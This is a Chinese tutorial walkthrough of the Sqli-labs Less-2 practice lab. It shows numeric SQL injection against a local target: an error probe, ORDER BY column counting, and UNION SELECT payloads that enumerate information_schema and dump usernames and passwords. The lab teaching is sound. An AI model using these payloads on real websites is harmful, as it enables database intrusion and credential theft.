前序:

我们经历过Less1的洗礼后,应该清楚什么是SQL注入,以及它的作用到底是什么,更重要的是已经初步了解数据库的一些知识,这样对我们接下来的学习有很大的帮助。
再次强调:

  • 该教程均使用火狐浏览器
  • HackBar自行从网络下载

在进行注入之前,我们需要复习几个经常使用的mysql(高版本所使用的方法)操作

  • 查库:
    1. select schema_name from information_schema.schemata;
    结果为:
    Sqli-labs Less2教程 - 图1
  • 查表:(该查询为靶场使用的数据库security)
    1. select table_name from information_schema.tables where table_schema='security';
    结果为: Sqli-labs Less2教程 - 图2
  • 查列:
    1. select column_name from information_schema.columns where table_name='users';
    结果为:
    Sqli-labs Less2教程 - 图3
  • 查字段:
    1. select username,password from security.users;
    结果为:
    Sqli-labs Less2教程 - 图4

声明

由于我搭建了不同的靶场,以及测试数据库,所以查询的结果比较多,大家可以忽略其中的一些,只需要看与本靶场相关的表单数据即可。

Less2

image.png

首先尽心简单的注入来判断,是否有注入漏洞,并且判断漏洞为什么样的类型
所以我们在URL中添加,并执行:

  1. http://127.0.0.1/sqli-labs/Less-2/?id=1'

执行结果如下:
image.png

这时我们再把其中的报错语句拿出来分析:

  1. '' LIMIT 0,1'

所以我们可以轻而易举的得出,存在注入漏洞,并且该注入漏洞为数字类型;

得出结论后,这样我们就方便了许多,直接使用order by语句进行排序查询,看一下有几个属性列(我已经查询过1,2,3列,所以直接查询第四个出结果)
使用的URL为:

  1. http://127.0.0.1/sqli-labs/Less-2/?id=1 order by 4 --+

结果为:
image.png
可以清楚的看出报错的信息是什么,也就从侧面证明了该表单里面的属性列只有三列,并没有第四列

之后我们继续进行union select查询
使用的URL为:
image.png
这个查询的目的,要再次强调一下union select的重要性,这样我们可以利用其返回的位置能显示出来的信息,来完成查询所需要数据在哪里显示

直接SQL注入

首先使用的SQL语句为:

  1. SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(schema_name) from information_schema.schemata;

查询结果为:
image.png
可以看出我们有多少数据库可以显示出来,其实可以一一进入这些数据库查询一下都有哪些需要的数据,但是我因为麻烦所以选择直接进入security数据库

接下来进行查表,所使用的SQL语句为:

  1. SELECT * FROM users WHERE id='-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security';

查询结果为:
image.png

在这之后我们需要知道username,password所以我们需要进行属性列查询
使用的该SQL语句为:

  1. SELECT * FROM users WHERE id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users';

查询结果为:
Sqli-labs Less2教程 - 图11
根据这个得到结果,我们可以得出所需要的数据均存在username和password中

所以我们进行以下的操作,使用该SQL语句得出结果

  1. SELECT * FROM users WHERE id=-1 union select 1,2 ,group_concat(concat_ws('~',username,password))from security.users

Sqli-labs Less2教程 - 图12
第二关也就到此结束了…